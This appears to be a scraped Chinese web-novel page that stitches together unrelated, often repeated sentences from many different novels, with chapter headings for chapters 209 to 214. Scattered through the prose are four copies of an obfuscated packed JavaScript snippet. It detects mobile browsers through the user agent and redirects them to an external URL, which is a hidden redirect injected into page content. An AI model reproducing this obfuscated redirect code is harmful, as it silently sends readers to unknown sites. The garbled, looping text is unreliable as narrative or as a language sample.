冷星云解释完,深吸了口气看着张凡,“不死鸟的嗅觉,可达几公里之外。自然能嗅出我与普通猎物不同,认为我是个危险的存在。 “将他们的尸体找个隐秘的地方掩埋了,这事绝对不能让少宗主发现,明白不?”天网首领的声音轻轻响起。 乌恒士兵,护卫军听了,没什么影响,就是觉得腔调古怪,但是营地里面那些被绑着的马匹,耳朵都竖了起来,四踢开始乱蹬,一副非常焦躁恐惧的情况表现出来。 胡万山也趁机打坐休息,推敲四品、五品、六品丹药的炼制方法。 民间传闻,燕王为维护国运,不仅迁都,还杀了许多无辜之人将其尸体丢入深渊以祭天。 舞台周围百花齐放,上悬七彩之色纱幔轻轻飘动,吸引着所有人的眼光。 **侠儿犹豫的原因是因为从没试过两个大男人同床共枕,再说要是肖大哥有什么不良嗜好,自己这一身清白没在侠客馆被夺了去,却被一个男人给霍霍了,那怎么面对**家列祖列宗、萋然的师兄师姐。 晚余吃了一惊,收起悲伤的情绪,放开雪团,把那张字条叠起来收入袖中。 正在练级的吕晓幕突然发现有个玩家凭空出现,定睛一看居然是乾隆。 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晚余吃了一惊,收起悲伤的情绪,放开雪团,把那张字条叠起来收入袖中。 正在练级的吕晓幕突然发现有个玩家凭空出现,定睛一看居然是乾隆。 黑烟也散去了不少,视线已经能模糊的看到人影,大家的听力也渐渐恢复。唐明感觉到时机成熟了,随高声大喊安静,等到牢房里彻底平息下来,他这才摸索着走到铁拦边往外观察那些黑衣人。 没有办法,刘长河心里很清楚,军队是用来打仗的,要是没有了会打仗的人,这支部队就完蛋了。 “怎么回事,我的身体……”破军突然觉得胸部皮痒,并且迅速蔓延到全身,他忍不住抓了几下。 关云龙心中十分惊讶,此时的梅涵义,其实力竟然不亚于自己。如果这时候拼命,**或受了重伤,关云龙将再一次失去晋级丹劲的机会。 但是对方竟然向着天空飞了上去,周围还没有保护的猪猪空军,这一下这艘巨大的战船完全可以说在天空之上成为了一个巨大的靶子,看来可以考虑用攻击将这艘大船给弄下来了。 吕晓幕这才得意的揽着慕晓蓝向外走,同时就像一个得胜的将军,不断的对着身边的人挥手示意,得意洋洋。也引来了又一轮起哄的声音。 孙富贵挡住了对方分攻击,可是他却被那股巨大的力量给震飞了出去。 孙富贵开着车,下了高速公路,回到自贡县,已经是晚上起点多了。 胡万山此时功力只有平时的两层左右,却也不怠慢,运转信愿力度入其体内,只见大家伙出进气平缓了许多,有效,奈何胡万山体力有限,最后体内只剩不足一层信愿力停下手,吃力的擦把汗取出二阶聚气丹服下。 一杯茶还没等喝下,有下人报曰,大长老听闻有田家山庄贵客至此,特来探望,已然来到院外。 除了东边,往西和往北两个方向并没有高山,就算偶尔遇到几个丘陵也是极为缓和。 冷星云解释完,深吸了口气看着张凡,“不死鸟的嗅觉,可达几公里之外。自然能嗅出我与普通猎物不同,认为我是个危险的存在。 “将他们的尸体找个隐秘的地方掩埋了,这事绝对不能让少宗主发现,明白不?”天网首领的声音轻轻响起。 乌恒士兵,护卫军听了,没什么影响,就是觉得腔调古怪,但是营地里面那些被绑着的马匹,耳朵都竖了起来,四踢开始乱蹬,一副非常焦躁恐惧的情况表现出来。 胡万山也趁机打坐休息,推敲四品、五品、六品丹药的炼制方法。 民间传闻,燕王为维护国运,不仅迁都,还杀了许多无辜之人将其尸体丢入深渊以祭天。 舞台周围百花齐放,上悬七彩之色纱幔轻轻飘动,吸引着所有人的眼光。 **侠儿犹豫的原因是因为从没试过两个大男人同床共枕,再说要是肖大哥有什么不良嗜好,自己这一身清白没在侠客馆被夺了去,却被一个男人给霍霍了,那怎么面对**家列祖列宗、萋然的师兄师姐。 晚余吃了一惊,收起悲伤的情绪,放开雪团,把那张字条叠起来收入袖中。 正在练级的吕晓幕突然发现有个玩家凭空出现,定睛一看居然是乾隆。 黑烟也散去了不少,视线已经能模糊的看到人影,大家的听力也渐渐恢复。唐明感觉到时机成熟了,随高声大喊安静,等到牢房里彻底平息下来,他这才摸索着走到铁拦边往外观察那些黑衣人。 没有办法,刘长河心里很清楚,军队是用来打仗的,要是没有了会打仗的人,这支部队就完蛋了。 “怎么回事,我的身体……”破军突然觉得胸部皮痒,并且迅速蔓延到全身,他忍不住抓了几下。 关云龙心中十分惊讶,此时的梅涵义,其实力竟然不亚于自己。如果这时候拼命,**或受了重伤,关云龙将再一次失去晋级丹劲的机会。 但是对方竟然向着天空飞了上去,周围还没有保护的猪猪空军,这一下这艘巨大的战船完全可以说在天空之上成为了一个巨大的靶子,看来可以考虑用攻击将这艘大船给弄下来了。 吕晓幕这才得意的揽着慕晓蓝向外走,同时就像一个得胜的将军,不断的对着身边的人挥手示意,得意洋洋。也引来了又一轮起哄的声音。 孙富贵挡住了对方分攻击,可是他却被那股巨大的力量给震飞了出去。 孙富贵开着车,下了高速公路,回到自贡县,已经是晚上起点多了。 胡万山此时功力只有平时的两层左右,却也不怠慢,运转信愿力度入其体内,只见大家伙出进气平缓了许多,有效,奈何胡万山体力有限,最后体内只剩不足一层信愿力停下手,吃力的擦把汗取出二阶聚气丹服下。 一杯茶还没等喝下,有下人报曰,大长老听闻有田家山庄贵客至此,特来探望,已然来到院外。 除了东边,往西和往北两个方向并没有高山,就算偶尔遇到几个丘陵也是极为缓和。 冷星云解释完,深吸了口气看着张凡,“不死鸟的嗅觉,可达几公里之外。自然能嗅出我与普通猎物不同,认为我是个危险的存在。 “将他们的尸体找个隐秘的地方掩埋了,这事绝对不能让少宗主发现,明白不?”天网首领的声音轻轻响起。 乌恒士兵,护卫军听了,没什么影响,就是觉得腔调古怪,但是营地里面那些被绑着的马匹,耳朵都竖了起来,四踢开始乱蹬,一副非常焦躁恐惧的情况表现出来。 胡万山也趁机打坐休息,推敲四品、五品、六品丹药的炼制方法。 民间传闻,燕王为维护国运,不仅迁都,还杀了许多无辜之人将其尸体丢入深渊以祭天。 舞台周围百花齐放,上悬七彩之色纱幔轻轻飘动,吸引着所有人的眼光。 **侠儿犹豫的原因是因为从没试过两个大男人同床共枕,再说要是肖大哥有什么不良嗜好,自己这一身清白没在侠客馆被夺了去,却被一个男人给霍霍了,那怎么面对**家列祖列宗、萋然的师兄师姐。 第一卷 第209章 不想娶妻,还是不想接受朕的好意 沈长安到了玉阶前,俯身跪地向祁让大礼**: 这种光明正大的营销活动,**不会阻拦,反而乐意接招,他不怕竞争,就烦别人别后使绊子。 在他们得到的情报中,坤云界并没有人进入过,因此里面有其他生灵的可能性非常大。 有保证我就掏钱,要是不能保证,你说破了天,我也不会掏一毛钱,大不了走人。 杨紫萱被说到了痛处,她的二舅没有骂错,今晚为了请唐锋吃饭,花了几千块,现在想想实在不应该。 “那好,有什么事可以直接来这里找我,晚上一起过个私人招待会如何?”心情大好的族长主要邀约唐锋,这是绝无仅有的表态。 “全部退出店外。”唐锋果断闪退,下一棵,一支木制巨手抓住了刚才的那间店铺。 兄弟与友情都不可信,眼泪更是不值钱,只有铁与血才是力量,才能控制一切。 一个标准的大耳刮子,打在胖子的肥脸上,本来就混元的脸蛋瞬间更圆了,还白里透红,别提多好看了,而吃了这一巴掌,胖子就像被抽光了力气一样,瘫软在地上。 大不列颠是欧洲国家,那才叫真正的地广人稀,也没有多少工厂,他们关闭了很多重型工厂,比如百分之七十的炼钢厂,所有重污染的工厂,全部按照百分之八十来关。 安迪雅点了点头,之后身形便化为点点碧绿色的光芒消失在大殿之中。 因为准备的东西不多,只租了一辆牛车,她早上走的,晚上回来,刚踏进屋,刘大娘迎上来,满脸歉意。 朝曦忍痛拿来剪刀,给他一刀切,剪一样长短,身体发肤受之父母,除非家里出大事,一般情况下不会有人剪发,但是沈斐这个情况,不剪也不行了。 镜花姐姐代劳都不行,就要沈斐扫,通常沈斐叹一口气,也不拒绝,拿了扫帚过来扫干净,没多久又积累了一堆,又要他扫。 随着秦天的轻呼,他手中的那张卡片顿时绽放出淡淡的光芒,随后卡 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晚余死死攥住帕子,嘴唇都快咬出血来。 “那好吧!希望我们到时候蒙城再会!”老者说完,便催动脚下飞剑远遁而去。 马尔扎哈以大师级巅峰的实力,突袭碾压准英雄级存在,任王羽再惊艳,这一战,也毫无悬念。 唐饶连看都不想看这个‘混’血男一眼,你要泡妞我不管,但麻烦你泡妞的时候长点眼力劲好不好? “叶道友,大恩不言谢,日后若有用得着老夫之处,道友但凡直接开口!”枯魂老魔也同样表态,随即目光转向不远处的藏山,目中隐隐透着一股怒意,若非在阵中耗损过多真元,恐怕早就冲过去了。 飞扬网吧队赢得很漂亮,尤其是当最后那个一挑五视频出现的时候,瞬间那个一夜飘零征服了所有观看视频的玩家。 “既然不是婚房问题,那**是什么原因?”和尚心里很不爽,感觉拍马屁拍到马腿上了。 亦或者是楚荡妹?楚荡妹可不是个好惹的角色。这样做,也是很有可能的。 不过值得庆幸的是这些海盗并不是无限的,而且自从这一波攻击后甲板上再次恢复了平静。 “主动要求?老公,你没搞错吧?为什么要主动约战?”林贝贝问道。 兰慌忙转过头,看向声音传来的方向,她这个时候才想起来秋竹还在跟褚德发缠斗。 趁着刘木与方兰厮杀不注意,他一刀挥下,砍在了刘木的脖子上。 看着雪茹月摇曳的身姿,让毕云涛心旷神怡,可是见到她笑里藏刀不怀好意的笑容,让他的眉头猛跳,心中一阵突突,但终究这些都被她萦绕在鼻翼之间的体香给消散,一脸的享受点着头。 “没错,他们死后,每两只妖兽融和,实力就翻一倍,这样下去的结果就是我们会被他们给磨死!”宋帝王道。 贺知予伸手扯了一下枕头下意识的想离林婳近一点,靠近一点她。 “毕兄弟,你可是害苦我了!”禾三爷欲哭无泪,哭丧着脸一屁股瘫坐在椅子上,那椅子摇摇欲坠,发出苦不堪言的呻吟声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573772|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虽然恒泰联盟已经公开了变种人的事迹,但大众对于现场版看到从天而降个带翅膀的“天使”还是非常惊诧的。 她怎么也不会承认自己的容貌不及他人,又怕自己在说什么,男会再一次的让她难堪。 “青青,你不要说话,你会没事的,会没事的。”西门飘雪焦急的说着,眼底是无尽的痛楚,深遂得没有半点情绪。 忙要探出脑袋看过去,她倒想问问白卓紫,当初他离开时,是如何答应自己的。 江城策刚要发声,便看到南宫寒和南宫羽兄弟走出了贵宾通道,同样进入了酒会现场,在南宫兄弟的眼神中,江城策明显感觉到了敌意。 此时的南宫寒,目露凶光,他恶狠狠地盯着江城策,那眼神,真是恨不得杀了江城策。 此时的江城策多少有些后悔,后悔自己不应该为了复仇金智妍,而利用她的妹妹金素妍。 焜沐林幽冥刃直接斩在这破裂的防护罩上,直接击破了防护罩焜沐林一个回旋踢踢在幾戲的脸上,幾戲嘴角处溢出了丝丝血。 第一卷 第211章 你对皇上到底有没有一点点喜欢 慈宁宫里,太后已经让人沏好了茶在等着晚余。 陈锋听到这里,终于忍受不住心中的怒火,捏着力屠脖子的手掌猛地加大了力量。 点了点头,蒋少平伸进抽签箱中,抽出一只写有26号的乒乓球。 “找死!!”明怡师姐见此略显震怒,那凌空迎在半空的宝剑迂回一转,整个宝剑璀璨之光再起,迎着那刚猛的掌风凌空刺下,剑气,罡风当下瞬间相撞。 当他意识到这个内线可能是在更高层的地方,或许就在老蒋身边的时候,他马上就觉得这个事情不好办了,虽然他可以随时找到老蒋进行汇报,但他觉得,不能这样直接说出来,那岂不是直接打脸吗?让老蒋下不了台来。 眨眼之间,那气息已经从主神之境转为了主神巅峰,而且还在继续向上攀升。 “你们的指挥官现在什么地方?”肖伯钧关心的就是这个,他的目的就是要端掉敌军的前沿指挥所,截断敌军的通讯系统。 他父亲还亲自招聘有战斗经验的胡人教练,对年轻人进行骑马射箭的训练,为军队输送人才。汉武帝高兴地称这为“屯田民兵”。 最让他痛恨的,还是这帮人在这里又抽烟又吐痰,还往地上扔垃圾。 陈浩跟随青鸾走进灭情殿之内,直接看到,两个老尼姑中间,背对着门口,盘坐在蒲团上面的身影。 陈浩恶狠狠的在刘玲玲胸口上抓了两把,然后将她扛上车,拉回了他的宿舍。 “我上卿已经战死,但是你们仍旧守在这里,真是苦了你们了!”冉飞安慰道。 本来怒气冲天的望帝从再看到兰溪的那一刻,一腔怒火就去了大半,离别三年,情难自禁,正欲软语温存诉离情,又恨她让自己痛苦伤心了那么长时间,就横下心拉着脸想让兰溪难堪。 兰溪猛地抬起头,正对上望帝亮晶晶的眼睛,她的心突突直跳,直觉望帝一定有很大的惊喜等着她们,她呆呆地盯着望帝的眼睛,暗暗祈祷他不要让她们失望。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573773|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一旁的唐新十分惊讶,他万万没有想到孤独九天这么心高气傲的人竟然会在景宝瑞面前低头。 无声老人不说话,继续出招打来,沈剑南躲过了几招,但是架不住无声老人连番攻击,终于按捺不住,出手反击。 无数条七寸绿眼蛇,乃是这道入口的守护者,只有经过它们这一关,修者才能进入到下一片龙渊秘境。 他们要去月湖找慕容姗姗?可是他们又怎么确认慕容姗姗没有睡觉呢? 兰溪点点头,不知为何忽然想起雷恪,他应该早就出宫居住了,现在一定过得极为逍遥自在,如果他在场会不会喜欢这首歌?会不会只听一遍就可全部记下来? 葛佩留在京城的两个心腹早就安排好了一切,就连家奴也买好了。迎接他们进门后,就吩咐家奴安置好行礼住处。又给兰溪交接了房契等手续,留下了联系方式就告辞离去了。 “砰……”一声沉闷的锤击声响起,神像完好无损,仿佛在讽刺着她的苍白无力。 第一卷 第212章 你叫朕来就是为了这个? 可怜男人已经被砸断了腿,又如何能追上这几个如狼似虎的鬼子兵?见自己老婆渐渐消失在自己的视线范围内,男人只得趴在地上哭得呼天抢地。 但接着就是震荡的神识乱晃孙丰照,正担心两名古修觉察异样,而对他发动反击。可事实是占据大半孙丰照神识空间的两大神识,有了松动,和稍退之意。 “飞儿,你不要这样,本王保证,等你从北王府回来以后,本王定会将你恢复王妃之位,定会好好疼你的。上官弘烈艰难的说道。 张正撤退的命令发出之后,立马一个向右反转,一个优美的弧度划出,下一刻,他已经调转方向。 但是就在刚才,唐老头子将自己的战术讲了出来,而自己顺着唐老头子的思路发散开去的时候,竟然发现唐老头子的这个战术竟然这么贴合他们新装备的p40战斗机。 一式的头颅与身体分家,似乎对于**,沈烈有着骨子里的强 迫症和执拗性子。 凌佳佳被他亲得浑身酥软,一点力气都使不出来,全身都靠向顾微然的怀里去,嘴里还情不自禁的发出浅浅的嘤咛呻吟。 刘言点头说:“启禀陛下,我叫丁沁,亚特兰蒂斯后裔,确实在最近一个月内来的。他没有具体精确时间,说得似是而非,也是不想惹事,反正黑顿也没有问得很详细。 “怎么突然变得这么冷了? 并且也就是灵兽和近海的一些修士使用这种油脂照明生火,内陆上的修仙者大部分不用这种会散发一股怪味的燃烧材料。内陆修仙者是讲究身份的,他们通常都用月光石,这种清新典雅之物照明。 几番云雨过后,陈阳就抽了一根事后烟,他轻松地呼出一个烟圈。 那三千万象的力量与本体几乎持平,而锦绣之前的实力又那般的强悍,寻常人根本不是对手。 叶子晨苦笑道,“狮洪那家伙你没见过,睚眦必报,等他醒了绝对要找他爹告状。 “没事,妈妈先挂了!海婳挂断了电话后,直接让人去准备飞机了。 不行,现在不是强抢的时候,她必须要先找到大狐狸,然后确定她记下的妖核印记,可以带着他们离开这个地方才行。 孤狼点了点头,然后率先发动攻势了,见得他疾步冲上去,主攻这歌伎的左侧,而刘破军也不甘 示弱,他也迅速冲上去,然后攻击这歌伎的右侧。 一旁的杨若冰见泽田郎君都受了教训,于是开口吩咐了一句,说道。 辛云朵知道辛夫人现在最想做的事情,但是不是她想,就能做的。 战台上的云锦绣自然不知道主看台上的刀光剑影,她冲落枫眨了下眼睛,这才转过头来,看向夜千幽。 辛云婳真是无奈,这叶夫人认定是自己勾搭了叶经理,怎么解释都没用。 在摩根孤儿院附近的高楼上,梧桐趴下来,架起望远镜,镜片口做了一些特殊处理,牺牲了一些画面的清晰度,让它不会那么容易的被反光发现,隐蔽性更高更可靠。 而两年后,在她欠了他两年的爱后,她明明该做的是,所有都顺从他。 这已经不是陆浩第一次进入这种类似顿悟,但有略微有所不同的状态了,这种对于其他人来说极其难得机会,对现在的陆浩来说就仿佛家常便饭一样,只要他一开始战斗,就会自然而然的进入这种状态。 本以为大军到来,石头城分崩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573774|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离析,哪里晓得,这帮野蛮的家伙,竟然胆子这么大。 眼前分明就是一个黝黑而又精瘦的年轻男子,或许是因为很少化形的缘故,螣蛇似乎有些不适应现在的状态,还是习惯性的扭动自己的身躯,配合他那高高瘦瘦的样子,突然有种说不出滑稽感。 从徐少棠的话里可以看出,徐少棠应该早就来到姜家了,他对姜家所说的那些话,徐少棠应该一字不落的听进了耳里。 “大人,犀魔善于隐匿追踪,而且他们经常施展迷惑之术,是不是要多带一些影罗刹。”在他身后一名罗刹好心的说道。 “师尊说过,杀太多,不利用我以后肉身成圣,还是杀该杀的吧!”哪吒撇撇嘴,一脸遗憾的瞅了那几个絮絮叨叨的老家伙,眼神贼亮贼亮。 白司霆便拿着筷子,慢慢吃了几口,夹起一块鱼,挑了刺,然后喂过去。 陀迦弥罗略显疑惑的说道,还有一句话他没说,那道气息不知为何让他感觉很不舒服,那是一种不祥的凶气。 “若在黑暗**中,我们活下来了,你到时候便和我一起去大千世界。”荒子说道。 李飞变成树后,头顶冒出六十多万的伤害值,血条里的血量直接清空。 半天后,天空之中,瑞祥凝聚,天地元气涌动,犹如一片**一般,在众人头上悬挂。 有了一个良好的开头,这些老人倒也是通情达理,你一言我一句的就开始诉说着自己的想法。 楼知音电话始终未接通,路上三番几次联系,都没有结果,楼天意皱着眉头,脸上的肥肉堆在一起,看上去有些凶神恶煞。 尤其是那些跟着猛虎特种队员执行过任务的军人,更是觉得不可思议。 第一卷 第213章 都是你把朕气成这样的 “这都送到我手上了,哪里还有退掉的道理。”左凌挑着眉,一副死傲娇的模样。 四年多过去了,程依依看起来似乎还是当年的那个程依依,表面看起来什么都不怕,很嚣张猖狂,不把任何人放在眼里,甚至让人有些憎恨。 他也知道自己给我委屈受了?我心里一酸,别开脸看着走廊尽头,咬着嘴唇默不作声。 我这才想起晚上他约了我吃饭的事情,我告诉他我现在在自己的公寓,叫他先去,我一会儿就到。 在伦敦又玩了一天,次日就到了要给对方答复的时候,左凌坐在酒店房间的阳台上,看着外面的大街,紧蹙着眉头。 “可是会不会太巧合了?我们这边才开始怀疑她,才抓住了乔琳,她那边就被人捅伤?”姜晚好托着腮说着,可能是因为她跟刘冉薇不是很熟,所以不能像苏瑕那样相信她。 他好歹也是自由搏击高手,对付一个瘦猴赘婿,岂不是手到擒来? 着烤串,一边上下打量黑大汉。话没有说出口,却满脸遗憾的摇摇头,意思再明显不过。 眼尖的看到一抹暗色漂在水里,村长将绳头系在石头上,急忙跳了下去。 千晚站在商场一楼,脸色不太好看,周围的温度都跟着冷了好几度。 这连塘,肯定是去火泥族装孙子,对他们阿谀奉承,并且许下了许多条款,然后才征得火泥族的保护。 华林见自家公子这般情况,双手抱拳拜过了华风,算是道过别了,而后转身飞速到第五墨的身旁,搀扶住了第五墨。 “还有事吗?”樱一淡漠地问出口了,藤原性格冰冷沉默,要她跟‘外人’说话,那无异于天方夜谭,所以,樱一便自己开口了。 此时,许郎中下了第二刀,苏若瑶已痛得连连惨叫,被赶来的捞月听到。 想起昨晚上提着马雕去拜访大伯的时候,对方那一脸感人肺腑无以言表的神情。 南长卿一把拉过青玥,将其抱在怀中。指尖轻指白鹿,一阵流光闪过,白鹿便化为了人形。 寒来的头在不断挣扎,她感觉脖颈上磨着自己的锁链很难受,可是又没办法将那玩意拿走。心口跟烧火一样,越来越难受,她只好不断地扭动着脖子,妄图能变得舒服一些。 同一时刻,另一个世界已经是清晨,香连醒来时,发现香园的门口躺着一个姑 娘。是寒来。 日夜兼程,数日之后曹子诺已经进入陕西范围,这个时候,他却听到一个传言,说那嵩山比武竟是和五岳合一联系在一起。 这一次在开京城佣兵们抢掠到了大量的物资,雪月斋的船队装满了七艘船甚至还不能装下。这也就是说,佣兵们白白抢了这么多东西,却有运不走的烦恼。 听到两人的谈话卓云心中的八卦之火不由的燃烧了起来,之前他还以为是男子骚扰沐雪,现在竟然会变成这样的情况。 坐车来到倭国最大的城市,也是世界上最大的城市东京,卓云感受到的是与美利坚等西方国家截然不同的感觉。 观音本就是受唐玄奘点化,在观音身体里的佛性对于唐玄奘的水玉自然格外敏感,两人的能量同宗同源,换句话说,也正是柳菲菲身体佛宝水玉的能量唤醒了观音身体里的佛性。 这些家伙围杀令狐冲本是受到那些嵩山契约者的挑拨,冲着的却是行侠仗义,扬名江湖八个字,说白了不过是为名声。 曹子诺的目光看向前方,哈姆纳塔的入口所在,一股强悍到极致的气息从那边传开,夹杂着毁灭和暴躁的气息,无可匹敌的气息。 然后不时和大叔打一场友谊赛,虽然至今都没有赢过,但月妖大叔却对我的剑术很是赞叹,对神鸣流的剑术高度表扬。 贝蒂的眉头又皱起来了,跑到黄雯边上问她以牙还牙是什么意思。 只要有着接触就意味着有压迫有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573775|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战争,从各国联合起来击败虫族开始探索宇宙之后战争从未没有停止过,某种意义上来说,人类也是一种入侵种族,不断的掳掠其他种族的资源来壮大自己,战争在所难免。 将陆忆安排妥当之后,傅清筱和慧觉则是重新踏上了寻找第三道执业孤魂的道路。 这种关系着自己食物来源的问题居然还需要一个中间人,自己也不想一下该怎么去解决。 说着,林父竟然从兜里掏出了两张红彤彤的**爷爷,塞到了林烨的手中。 “真麻烦,这种弱者还不如直接干掉,干嘛费这么大的劲。”闻言,那70级的精灵族强者轻叹一口气。 他还在心里盘算着什么的时候,那边那个手臂受伤的日本人,也是眼中带着一丝怨毒之色看着众人。 刚送上来的咖啡可是刚煮好的,当然很烫,一般人都会搅动一下,加点糖和牛奶,这样温度就会下降,刚好合适,秋生这样直接一大口喝下去不烫才怪。 由此,不难看出这个萌属性的神赐天赋,绝对是属于十分顶级的能力的,如果不是其中有一条信徒需要拥有萌属性才能激发,这样的神赐天赋,绝对可以称之为最最顶级的神赐天赋。 BOSS被击杀,紫风的脑海中也是接到了系统的提示,同时脑中突兀的多出了一道复杂的信息,不过对此紫风暂时没有丝毫的理会。 不过所有人都认为,易逍遥如今修为太低,与如今的这些天骄相差了好几届,相比起来太不公平。 这公司是邢家给他的考验,现在他身体出现问题了,他不想让邢家人知道,就因为心底的那份孤傲和恨意,如果因为身体而拖垮了公司,他一定会觉得在邢家人的面前抬不起头来。 “哼哼,秦汉一定被那些媒体烦得焦头烂额了吧?甚至,最后足协可能会因为承受不了**压力,而选择取消与他的合作……”安部贤一仿佛看到了秦汉最后可怜的下场,不禁心情舒畅。 第一卷 第214章 有了孩子,她会不会有所改变 晚余后悔不该多嘴。 黯淡的灰雾弥漫在空气里,晨曦微微‘露’出奇特的光,冰冷的寒风还没来得及肆掠这个世界,就在灰雾中,浮现出了一道模糊的身影,伴随身影逐渐在雾气中呈现清晰,剧烈的喘气声从袍子下传出。 张凯凤话还没有说完,冯记超市门口过来两个穿着工商制服的年轻人,正是之前跟在范建民身后的两人。 传闻中阴蚩废墟何等恐怖,若非修为踏入了第二道门的强者,还真的不敢进去。 “那还用说?”刘镒华已经动手了。盛了一碗汤,夹了几块鸡肉。 “滚开,我不需要你的医治!”兰开斯特忽的爆吼了一声,一把将着维尔士推开。 “呵呵,我回来了。”泰妍尴尬的冲俞利笑了笑。相比起允儿,俞利的态度要好多了,至少表情要比允儿热情得多。 不过事实上,左边那块融化的速度也骤然增加,在裂开那一刻,突然一整块都消失了。 林东拿起手机看饿了一下,十一点多了都,给高倩发了一个问号,他想高倩应该会明白他的意思的。 林东沉默不语,心想难怪陈美玉会那样评价左永贵,今曰一见,果然是个坐吃山空的家伙,就算是给他金山银山,也经不住他这样乱花。 庄建荣太老实,庄松德是不会管她饭的,她给朱家干活儿就在朱家吃。 江郁笑声渐渐地消弭了下来,嘴角的笑意渐渐敛住,目光一睁不睁地盯紧他看。 她紧紧的盯着花倾城和苏千夏二人,只期望花倾城能赶紧厌恶苏千夏,将苏千夏这**踢开。 下意识的打量四周,却没有从陆陆续续爬起来的队友之中找到那个憧憬着的人影。 说是陪,但是陆熙炀吃饭的时候,自己吃几口,还时不时喂她一口。 顾随意拿起手机,淡淡扫过一眼手机屏幕,是顾语曼打来的电话。 从三岁到如今的十八岁,温倾城一直都是父不爱,母仇恨的状态。在温家的地位,还不如一个保姆。 四方城的人之前没有看到过巨兽,乍一看到无不惶恐不安,一个个吓得仓皇逃走,赶紧回家呆着孩子妻子一起逃走。 青叶咳嗽着,胸腔肺腑都像是火在烧着一样,背脊重新重重地趟回床榻上。 而直播间里的诸多观众们,则是很清楚此刻林越是在狂飙演技,虽然确实演技**,几乎达到了以假乱真的程度。 苏云不料她还是不肯放弃,不由地揉揉额角,道:“孟娘子言重了。”她吩咐樱桃:“去取一个瑞锦荷包送与孟娘子,也算是我的一点谢意。”樱桃答应了。 五五和六六连忙退到一旁低下了头,而琉璃依旧是一脸莫名其妙,凝眉向那声音传来的方向望去。 两个老头没有想到这个年青人会说他们是两个流氓,所以刹那间脸色全都变黑了,本来还是配合攻击的他们马上改变套路,分别取出了自已的武器。一个是双刃短刀,一个是一只烟袋。 晚余后悔不该多嘴。 黯淡的灰雾弥漫在空气里,晨曦微微‘露’出奇特的光,冰冷的寒风还没来得及肆掠这个世界,就在灰雾中,浮现出了一道模糊的身影,伴随身影逐渐在雾气中呈现清晰,剧烈的喘气声从袍子下传出。 张凯凤话还没有说完,冯记超市门口过来两个穿着工商制服的年轻人,正是之前跟在范建民身后的两人。 传闻中阴蚩废墟何等恐怖,若非修为踏入了第二道门的强者,还真的不敢进去。 “那还用说?”刘镒华已经动手了。盛了一碗汤,夹了几块鸡肉。 “滚开,我不需要你的医治!”兰开斯特忽的爆吼了一声,一把将着维尔士推开。 “呵呵,我回来了。”泰妍尴尬的冲俞利笑了笑。相比起允儿,俞利的态度要好多了,至少表情要比允儿热情得多。 不过事实上,左边那块融化的速度也骤然增加,在裂开那一刻,突然一整块都消失了。 林东拿起手机看饿了一下,十一点多了都,给高倩发了一个问号,他想高倩应该会明白他的意思的。 林东沉默不语,心想难怪陈美玉会那样评价左永贵,今曰一见,果然是个坐吃山空的家伙,就算是给他金山银山,也经不住他这样乱花。 庄建荣太老实,庄松德是不会管她饭的,她给朱家干活儿就在朱家吃。 江郁笑声渐渐地消弭了下来,嘴角的笑意渐渐敛住,目光一睁不睁地盯紧他看。 她紧紧的盯着花倾城和苏千夏二人,只期望花倾城能赶紧厌恶苏千夏,将苏千夏这**踢开。 下意识的打量四周,却没有从陆陆续续爬起来的队友之中找到那个憧憬着的人影。 说是陪,但是陆熙炀吃饭的时候,自己吃几口,还时不时喂她一口。 顾随意拿起手机,淡淡扫过一眼手机屏幕,是顾语曼打来的电话。 从三岁到如今的十八岁,温倾城一直都是父不爱,母仇恨的状态。在温家的地位,还不如一个保姆。 四方城的人之前没有看到过巨兽,乍一看到无不惶恐不安,一个个吓得仓皇逃走,赶紧回家呆着孩子妻子一起逃走。 青叶咳嗽着,胸腔肺腑都像是火在烧着一样,背脊重新重重地趟回床榻上。 而直播间里的诸多观众们,则是很清楚此刻林越是在狂飙演技,虽然确实演技**,几乎达到了以假乱真的程度。 